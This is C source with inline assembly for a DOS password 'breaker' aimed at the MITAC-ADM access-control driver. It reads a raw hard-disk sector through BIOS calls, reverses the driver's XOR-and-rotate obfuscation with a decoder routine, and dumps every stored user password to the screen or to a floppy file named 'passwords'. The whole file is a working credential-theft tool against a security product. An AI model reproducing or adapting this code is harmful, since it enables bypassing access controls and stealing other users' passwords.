#pragma inline
#include<bios.h>
#include<stdlib.h>
#include<stdio.h>
#include<dos.h>

enum { READ=2 ,ESC=0x1b ,FIRST_HARD = 0x80 ,  SECTOR_SIZE=0x200 };
#define ERRORMESSAGE "Error reading disk"
#define QUIT_1 "There is no hard drive attached"
#define QUIT_2 "There is not MITAC-ADM driver"

char code_key;

void quit(char *message);

#pragma inline

void main(int argc)
{
void decoder(char *symbol);
char read_param(void);

char number_drives;
unsigned char *buffer=malloc(SECTOR_SIZE);
/*void adm_check(char *buffer,char number_of_drives);       */
unsigned i=4;
int user_ID;
FILE *fptr;
			number_drives = read_param();
			!number_drives ? quit(QUIT_1) : 1 ;
/*			adm_check(buffer,number_drives);*/
			if(biosdisk(READ,FIRST_HARD,0,0,3,1,buffer))
					quit(ERRORMESSAGE);

			if(argc > 1)
				fptr=fopen("a:\\passwords","wt");
			else
				fptr=stderr;

			for(user_ID=0 ; buffer[i] ; user_ID++){
					i=4;
					code_key=buffer[i++];
					fprintf(fptr,"User ID %i : ",user_ID);
					while(i<=0x0b+4) {
						decoder(buffer + i);
						fprintf(fptr,"%c",buffer[i++]);
					}

			fprintf(fptr,"%c",'\n');
			buffer+=0x10;
	}
			argc > 1 ? fclose(fptr) : 1;
}

void decoder(char *symb)
{
				_AL=*symb;
				_AH=code_key;
		asm             push    cx
		asm		xor	al,ah
		asm		mov	cl,ah
		asm		and	cl,0Fh
		asm		ror	al,cl
		asm		xor	al,5Ah
		asm		mov	cl,ah
		asm		xor	cl,53h
		asm		sub	al,cl
		asm		xor	al,0C5h
		asm		pop     cx
				*symb=_AL;
				code_key-=0x07;
}
/*
void adm_check(unsigned char *buffer,char drives)
{
unsigned char i=0;
unsigned char no_mitac=0;
char compare(unsigned char *buffer);
			do  {
				if(biosdisk(READ,FIRST_HARD+i,0,0,2,1,buffer))
						quit(ERRORMESSAGE);
				no_mitac = compare(buffer);
			}
			while( no_mitac && (++i < drives) ) ;

			no_mitac ? quit(QUIT_2) : 1;

			if(biosdisk(READ,FIRST_HARD,0,0,3,1,buffer))
					quit(ERRORMESSAGE);
}
*/
char read_param(void)
{
	_AH=8;_DL=FIRST_HARD;
	geninterrupt(0x13);
	return(_DL);
}

void quit(char *message)
{
				puts(message);
				exit(1);
}

char compare(char *buffer)
{
unsigned offset;
char *signature="*MITAC-ADM* - Breaker by M.Nikitin NO Copyrights !!";
char i=0;
			for(offset = 0x01f4  ; i < 0xa ; i++)
					if(buffer[offset+i] != signature[i])
							return(1);
			return(0);
}